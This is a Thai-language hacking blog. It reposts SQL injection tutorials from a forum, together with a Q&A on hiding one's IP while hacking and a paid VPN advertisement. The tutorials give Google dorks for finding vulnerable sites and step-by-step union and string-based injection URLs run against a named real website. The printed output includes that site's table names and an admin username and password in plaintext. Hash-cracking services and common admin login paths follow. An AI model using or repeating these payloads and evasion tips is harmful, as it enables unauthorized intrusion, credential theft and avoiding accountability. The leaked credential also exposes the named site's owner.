ถาม: หลายคนถามมาว่า ถ้าเราHack เค้าแล้ว เค้าสามารถจับหรือตามตัวเราเจอหรือป่าว
ตอบ:คำตอบคือ ถ้าหากเรา Hack โดยที่ไม่ซ่อนตัว อีกฝ่ายจะสามารถตามตัวเราเจอครับ
ถาม: อ่าวแล้วตามเราเจอได้ไง ในเมื่อผม hack คนต่างจังหวัด
ตอบ: สามารถ ตามตัวได้โดย การใช่ที่อยู่ขอคอมพิวเตอร์ (IP) คับ
ถาม:แล้วเราสามารถซ่อนตัวได้อย่างไรจึงปลอดภัย
ตอบ:สามารถทำใด้3วิธีดังนี้คับ
1 การproxy หรือการปลอมแปลงที่อยู่ IP ของเรา เพื่อซ่อนตัวคับ
2 Tor อันนี้ผมก็ไม่แน่ใจเพราะ มีคนบอกว่าสามารถซ่อนตัวได้
3 VPN คับ อันนี้แนะนำ เพราะว่า สามารถซ่อนตัวได้มิดชิด
Vpn แบ่งได้ 2 แบบ คือ
1 แบบฟรี แบบฟรีนี้ สามารถ หาได้ตามgoogle ทั่วไป แต่ข้อเสียเยอะหน่อย
2 แบบจ่ายตัง ซึ่งสามารถซ่อนตัวได้อย่างปลอดภัย 100% สามารถเปิดพอทได้ ซึ่ง ราคา 300 บาท/เดือน ใครสนใจโพสซื้อได้เลยคับ
เราใด้จัดรวบรวมข้อมูล เกี่ยวกับการ Hack เพื่อ บุคคลที่สนใจ ข้อมูลทั้งหมดในเวปเรา ใด้นำมาจาก www.Hackdee.com ท่านสามารถเข้าไปศึกษากันได้ ย้ำ เราจะไม่นำบทความของ VIP มาเผยแพร่ จนกว่าจะได้รับอณุญาติจาก บอร์ด ลงชื่อ Zerokung(Hk_Zero)
วันพฤหัสบดีที่ 9 มกราคม พ.ศ. 2557
เทคนิค การHack Web 2. String Based SQL Injection
2. String Based SQL Injection
แก้ไขปัญหา เวลาพิมพ์คำสั่งลงไปบนเว็ปที่มีช่องโหว่แต่ไม่มีผลอะไรตอบกลับมา
ซึ่งวิธีนี้เป็นวิธีแก้ปัญหาพื้นฐาน ที่สามารถใช้ได้กับ Error Based SQL injection, Blind Injection ได้เหมือนกันครับ
อะไรคือ String Based SQL injection? แล้วจะรู้ได้ยังไง
String Based SQL injection จะเกิดขึ้นเมื่อคุณกำลังทำการแฮกเว็ปไซด์ที่มีช่องโหว่แต่พอเราพิมพ์คำสั่งต่างๆไปแต่กลับไม่มีผลตอบรับกลับมา เช่น:
วิธีแก้ปัญหานี้: ใช้คำสั่งตามนี้ครับ
จะเห็นว่าผมได้เติมอักษร + ไว้ท้ายสุด
เช่น:
เช็คจำนวนคอลัมน์
หาข้อมูลของเว็ปไซด์
หา Table นั้นฐานข้อมูลของเว็ปไซด์
-= สามารถใช้แก้ปัญหาของ Error Based SQL injection, Blind Based และ SQL injection ชนิดอื่นๆได้เหมือนกัน =-
เครดิส http://www.hackdee.com/Forums/showthread.php?tid=114
แก้ไขปัญหา เวลาพิมพ์คำสั่งลงไปบนเว็ปที่มีช่องโหว่แต่ไม่มีผลอะไรตอบกลับมา
ซึ่งวิธีนี้เป็นวิธีแก้ปัญหาพื้นฐาน ที่สามารถใช้ได้กับ Error Based SQL injection, Blind Injection ได้เหมือนกันครับ
String Based SQL injection
อะไรคือ String Based SQL injection? แล้วจะรู้ได้ยังไง
String Based SQL injection จะเกิดขึ้นเมื่อคุณกำลังทำการแฮกเว็ปไซด์ที่มีช่องโหว่แต่พอเราพิมพ์คำสั่งต่างๆไปแต่กลับไม่มีผลตอบรับกลับมา เช่น:
Code:
"order by" ไม่ทำงาน, เช่นคุณลองจนไปถึง: order by 100-- แต่ก็ยังไม่เจอ error ซึ่งที่จริงมันไม่น่าจะมีเกิน 100 คอลัมน์
"group by" ไม่ทำงาน
"having 1=2" ไม่ทำงาน
และอื่นๆ
วิธีแก้ปัญหานี้: ใช้คำสั่งตามนี้ครับ
Code:
http://www.??????.com/index.php?id=10' order by 1000--+
Code:
นอกจากนี้ยังใช้ตัวอื่นได้อีกเช่น:
+--+
+--
-- -+
เช็คจำนวนคอลัมน์
Code:
http://www.??????.com/index.php?id=10' order by 10--+
หาข้อมูลของเว็ปไซด์
Code:
http://www.??????.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(schema_name,0x0a),7,8,9,10 from information_schema.schemata--+
หา Table นั้นฐานข้อมูลของเว็ปไซด์
Code:
http://www.??????.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(table_schema,0x0a),7,8,9,10 from information_schema.tables where table_schema=database()--+
-= สามารถใช้แก้ปัญหาของ Error Based SQL injection, Blind Based และ SQL injection ชนิดอื่นๆได้เหมือนกัน =-
เครดิส http://www.hackdee.com/Forums/showthread.php?tid=114
เทคนิค การHack Web 1 SQL Injection {Union Based}
1. SQL Injection {Union Based}
วิธีนี้ เป็นพื้นฐานของกาน Hack Wab ส่วนวิธีการคือการ ใส่คำสั่งลงไปต่อจากเวป เพื่อหาช่องโหว่
มาเริ่มกัน1. ค้นหาเป้าหมาย
เราจะหาเป้าหมายโดยใช้ Dorks. Dorks คือ การใส่ queries เข้าไปใน Search Engine (Google). เราจะใช้ Google ในการค้นหาเป้าหมาย. ใส่ Dorks ลงไปเพื่อหาเว็ปไซต์เป้าหมาย.
ตัวอย่าง Dork
ผลการค้นหา. Google จะแสดงเว็ปไซต์ต่างๆที่มี "products.php?prodID=" อยู่ในลิงค์.
- ลิส Dorks
ถ้าจะให้ดีผมแนะนำให้สร้าง Dorks ของตัวเอง. สร้าง Dorks ที่คิดว่าจะยังไม่มีคนอื่นนำไปใช้หรือทดลอง เช่น:
บางทีมันก็ไม่ทำงาน. ไม่เป็นไรครับค่อยๆสร้างๆค่อยๆคิดกันไป.
1.2: ทดสอบเป้าหมายว่ามีช่องโหว่ให้ทำการเจาะไหม
หลังจากค้นหาเว็ปไซต์เป้าหมายได้แล้ว เราต้องทดสอบว่าเว็ปเป้าหมายเราจะมีช่องโหวให้เราแฮกเข้าไปได้ไหม.
- ลิสเว็ปไซต์ที่มีช่องโหว่
ผมจะใช้เว็ปนี้เพื่อทดลอง:
http://www.lebeauhumblet.com/publications.php?id=2
วิธีทดสอบคือให้ใส่อักษร ' ไว้ท้ายสุดของลิงค์แล้วรีโหลดหน้าเว็ป เช่น:
จะรู้ได้ไงว่าเว็ปนี้มีช่องโหว่. หลังจากรีโหลดหน้าเว็ปแล้ว ถ้าเกิดหน้าเว็ป:
- ข้อความบางส่วนหายไป, รูปภาพหายไป หรือ สคริปแตกต่างจากหน้าเว็ปหลัก
- SQL Error ต่างๆ
2. หาคอลัมน์
ลองกับเว็ปเดิม:
http://www.lebeauhumblet.com/publications.php?id=2
สิ่งที่กำลังจะทำคือเช็คว่าเว็ปนี้มีคอลัมน์อยู่ในฐานข้อมูลทั้งหมดเท่าไหรโดยใช้คำสั่ง 'order+by'
ลิงค์จะหน้าตาออกมาเป็นแบบนี่
เรามาเริ่มหากันเลย ไล่ขึ้นไปจากคอลัมน์ 1
http://www.lebeauhumblet.com/publication...der+by+1-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+2-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+3-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+4-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+5-- < เจอ Error
นั้นหมายความว่าในฐานข้อมูลเว็ปนี้มีแค่ 4 คอลัมน์
2.1: หาช่องโหว่ของคอลัมน์
จากนั้นเราจะต้องหาว่าใน 4 คอลัมน์นั้นมีคอลัมน์ไหนที่มีช่องโหว่ให้เราสามารถเจาะเข้าไปได้โดยใช้คำสั่ง (union+select).
หน้าตาลิงค์จะเป็นแบบนี้
อย่าลืมอักษร - ก่อนหน้าเลข 2 นะครับดูให้ดีๆ
หลังจากรีโหลดหน้าเว็ป คุณจะเห็นตัวเลขโชว์ขึ้นมาหน้าเว็ป. นั้นคือคอลัมน์ที่มีช่องโหว่. ตัวอย่างเช่นเว็ปไซต์ด้านบนมีคอลัมน์ 3 กับ 4 ที่มีช่องโหว่.
3: หาเวอร์ชั่นของ SQL
ต่อไปใช้คำสั่ง (@@version) ในการหาเวอร์ชั้นของเว็ปไซต์. โดยการแทนที่คอลัมน์ที่มีช่องโหว่ด้วยคำสั่ง เช่น:
ตามลิงค์ด้านบนผมใส่คำสั่งแทนที่คอลัมน์ 3. จากนั้นรีโหลดหน้าเว็ป... คุณก็ได้เวอร์ชั่นของเว็ปไซต์นี้ >> 4.1.20-community-nt
ถ้าคำสั่งด้านบนผิดพลาดโดยที่หน้าเว็ปไม่โชว์เวอร์ชั่นหรือมี Error ให้เราใช้คำสั่งนี้แทน
convert(@@version using latin1)
ดังนั้นลิงค์จะมีหน้าตาเป็นแบบนี้
หรือคำสั่งนี้: unhex(hex(@@version))
4. หา Tables ในฐานข้อมูล
ตามลิงค์ด้านบนผมได้ใส่คำสั่ง group_concat(table_name,0x0a) แทนที่คอลัมน์ที่มีช่องโหว่และ from information_schema.tables where table_schema=database()-- ต่อท้าย. จากนัันหน้าเว็ปไซด์จะโชว์ลิสชื่อ Tables ทั้งหมดที่อยู่ในฐานข้อมูล..
หลังจากที่ได้ชื่อ Tables มาหลายตัว. สิ่งที่ต้องทำคือหา Table ที่มีข้อมูลของ User/Admin อยู่ในนั้น. ในตัวอย่างที่ได้มา table ที่ชื่อ tbladmin น่าจะมีข้อมูลเหล่านั้นอยู่.
4.1. หาชื่อคอลัมน์ใน Table และ ยูสเซ่อกับพาสแอดมิน
ดูที่โค้ตด้านล่างนี้ให้ดีๆ
มาดูกันมีอะไรแตกต่างไปมั้ง:
อันดับแรกที่ผมใส่ 0x เพื่อที่จะให้มันอ่านโค้ต hex ได้. เค.. ผมจะอธิบายให้ง่ายๆ ชื่อ Table ของเราคือ tbladmin เผื่อที่จะเข้าไปในฐานข้อมูล Table ได้เราต้องเปลี่ยนชื่อมันให้เป็น hex โค้ต. ผมใช่เว็ปไซด์นี้ในการเปลี่ยน.
เราก็จะได้ 74626c61646d696e เป็น Hex โค้ตของ tbladmin และเพื่อที่จะทำให้เว็ปไซด์อ่านได้เราจะใส่ 0x เข้าไปข้างหน้า.. ดังนั้นโค้ตจะเป็นแบบนี้..
......
.............
จากนั้นเราจะได้คอลัมน์ทั้งหมดใน Table ตัวนี้เช่น:
เครขั้นตอนสุดท้าย... มาเอายูสกับรหัสแอดมินของเว็ปนี้โดยใช้คำสั่ง group_concat
แล้วคุณก็จะได้..
เครสพิเศษ: Hashed Usernames and Passwords
เว็ปไซด์ส่วนใหญ่จะโชว์พาสเป็น MD5 Hashed. ดังนั้นเราต้องแคร็กมันโดยใช้เว็ปไซด์ด้านล่าง:
SHA-1 Hash จะมี 40 ตัว
ขั้นตอนสุดท้าย: หาหน้าแอดมินเพื่อที่จะล็อกอิน
ตอนนี้เรามียูสกับพาสแอดมินแล้ว. ที่เหลือก็แค่หาหน้าล็อกอินแอดมินก็จะสามารถเข้าไปควบคุมเว็ปไซด์นั้นได้เต็มตัว.
ตัวอย่างหน้าแอดมิน:
เครดิส: http://www.hackdee.com/Forums/showthread.php?tid=100
วิธีนี้ เป็นพื้นฐานของกาน Hack Wab ส่วนวิธีการคือการ ใส่คำสั่งลงไปต่อจากเวป เพื่อหาช่องโหว่
มาเริ่มกัน1. ค้นหาเป้าหมาย
เราจะหาเป้าหมายโดยใช้ Dorks. Dorks คือ การใส่ queries เข้าไปใน Search Engine (Google). เราจะใช้ Google ในการค้นหาเป้าหมาย. ใส่ Dorks ลงไปเพื่อหาเว็ปไซต์เป้าหมาย.
ตัวอย่าง Dork
Code:
inurl:"index.php?ID="
- ลิส Dorks
ถ้าจะให้ดีผมแนะนำให้สร้าง Dorks ของตัวเอง. สร้าง Dorks ที่คิดว่าจะยังไม่มีคนอื่นนำไปใช้หรือทดลอง เช่น:
Code:
inurl:"index.php?item_id=" & ".co.th"
1.2: ทดสอบเป้าหมายว่ามีช่องโหว่ให้ทำการเจาะไหม
หลังจากค้นหาเว็ปไซต์เป้าหมายได้แล้ว เราต้องทดสอบว่าเว็ปเป้าหมายเราจะมีช่องโหวให้เราแฮกเข้าไปได้ไหม.
- ลิสเว็ปไซต์ที่มีช่องโหว่
ผมจะใช้เว็ปนี้เพื่อทดลอง:
http://www.lebeauhumblet.com/publications.php?id=2
วิธีทดสอบคือให้ใส่อักษร ' ไว้ท้ายสุดของลิงค์แล้วรีโหลดหน้าเว็ป เช่น:
Code:
http://www.lebeauhumblet.com/publications.php?id=2'
- ข้อความบางส่วนหายไป, รูปภาพหายไป หรือ สคริปแตกต่างจากหน้าเว็ปหลัก
- SQL Error ต่างๆ
2. หาคอลัมน์
ลองกับเว็ปเดิม:
http://www.lebeauhumblet.com/publications.php?id=2
สิ่งที่กำลังจะทำคือเช็คว่าเว็ปนี้มีคอลัมน์อยู่ในฐานข้อมูลทั้งหมดเท่าไหรโดยใช้คำสั่ง 'order+by'
ลิงค์จะหน้าตาออกมาเป็นแบบนี่
Code:
http://www.lebeauhumblet.com/publications.php?id=2+order+by+1--
http://www.lebeauhumblet.com/publication...der+by+1-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+2-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+3-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+4-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+5-- < เจอ Error
นั้นหมายความว่าในฐานข้อมูลเว็ปนี้มีแค่ 4 คอลัมน์
2.1: หาช่องโหว่ของคอลัมน์
จากนั้นเราจะต้องหาว่าใน 4 คอลัมน์นั้นมีคอลัมน์ไหนที่มีช่องโหว่ให้เราสามารถเจาะเข้าไปได้โดยใช้คำสั่ง (union+select).
หน้าตาลิงค์จะเป็นแบบนี้
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,3,4--
หลังจากรีโหลดหน้าเว็ป คุณจะเห็นตัวเลขโชว์ขึ้นมาหน้าเว็ป. นั้นคือคอลัมน์ที่มีช่องโหว่. ตัวอย่างเช่นเว็ปไซต์ด้านบนมีคอลัมน์ 3 กับ 4 ที่มีช่องโหว่.
3: หาเวอร์ชั่นของ SQL
ต่อไปใช้คำสั่ง (@@version) ในการหาเวอร์ชั้นของเว็ปไซต์. โดยการแทนที่คอลัมน์ที่มีช่องโหว่ด้วยคำสั่ง เช่น:
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,@@version,4--
ถ้าคำสั่งด้านบนผิดพลาดโดยที่หน้าเว็ปไม่โชว์เวอร์ชั่นหรือมี Error ให้เราใช้คำสั่งนี้แทน
convert(@@version using latin1)
ดังนั้นลิงค์จะมีหน้าตาเป็นแบบนี้
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,convert(@@version using latin1),4--
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,unhex(hex(@@version)),4--
4. หา Tables ในฐานข้อมูล
Quote:group_concat = รวมรวบข้อมูลเค.. มาผสมคำสั่งพวกนี้เข้าด้วยกัน... ลิงค์จะออกมาหน้าตาแบบนี้
table_name = ชื่อ Tables
from = ที่ที่เราเจาะจงจะหาข้อมูล
information_schema.tables = ข้อมูลในฐานข้อมูลที่มีชื่อ Tables เก็บไว้
table_schema = Tables ในฐานข้อมูล
database() = ฐานข้อมูลของเว็ปไซด์
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(table_name,0x0a),4 from information_schema.tables where table_schema=database()--
Code:
pdigclicks ,pdigengine ,pdigexcludes ,pdigincludes ,pdigkeywords ,pdiglogs ,pdigsite_page ,pdigsites ,pdigspider ,pdigtempspider ,tbladmin ,tblbanner ,tblbanner_page ,tblfaq ,tblncategory ,tblnews
4.1. หาชื่อคอลัมน์ใน Table และ ยูสเซ่อกับพาสแอดมิน
ดูที่โค้ตด้านล่างนี้ให้ดีๆ
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(column_name,0x0a),4 from information_schema.columns where table_name=0x74626c61646d696e--
Quote:table_name = แทนที่โดย "column_name"สงสัยกันใช่ไหมว่าทำไมตัวท้ายต้องเป็น Hex โค้ต 0x74626c61646d696e--
information_schema.tables = แทนที่โดย "information_schema.columns"
table_schema = แทนที่โดย "table_name"
database() = แทนที่โดย "0x74626c61646d696e--"
อันดับแรกที่ผมใส่ 0x เพื่อที่จะให้มันอ่านโค้ต hex ได้. เค.. ผมจะอธิบายให้ง่ายๆ ชื่อ Table ของเราคือ tbladmin เผื่อที่จะเข้าไปในฐานข้อมูล Table ได้เราต้องเปลี่ยนชื่อมันให้เป็น hex โค้ต. ผมใช่เว็ปไซด์นี้ในการเปลี่ยน.
Code:
http://www.swingnote.com/tools/texttohex.php
Code:
0x74626c61646d696e
.............
จากนั้นเราจะได้คอลัมน์ทั้งหมดใน Table ตัวนี้เช่น:
Quote:adminid ,username ,password ,domแน่นอนที่ที่มีข้อมูลที่เราต้องการต้องอยู่ใน username และ password
เครขั้นตอนสุดท้าย... มาเอายูสกับรหัสแอดมินของเว็ปนี้โดยใช้คำสั่ง group_concat
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(username,0x3a,password,0x0a),4 from tbladmin--
Code:
ishir:ishir123
username: ishir
password: ishir123
เครสพิเศษ: Hashed Usernames and Passwords
เว็ปไซด์ส่วนใหญ่จะโชว์พาสเป็น MD5 Hashed. ดังนั้นเราต้องแคร็กมันโดยใช้เว็ปไซด์ด้านล่าง:
Quote:http://www.md5decrypter.co.uk/MD5 Hash จะมี 32 ตัว
http://www.md5this.com/
http://www.md5crack.com/
http://hashchecker.de/find.html
SHA-1 Hash จะมี 40 ตัว
ขั้นตอนสุดท้าย: หาหน้าแอดมินเพื่อที่จะล็อกอิน
ตอนนี้เรามียูสกับพาสแอดมินแล้ว. ที่เหลือก็แค่หาหน้าล็อกอินแอดมินก็จะสามารถเข้าไปควบคุมเว็ปไซด์นั้นได้เต็มตัว.
ตัวอย่างหน้าแอดมิน:
Code:
www.xxxx.com/admin
www.xxxx.com/admins
www.xxxx.com/users
www.xxxx.com/admin.php
www.xxxx.com/admin/login.php
www.xxxx.com/login.php
www.xxxx.com/login
เครดิส: http://www.hackdee.com/Forums/showthread.php?tid=100
สมัครสมาชิก:
บทความ (Atom)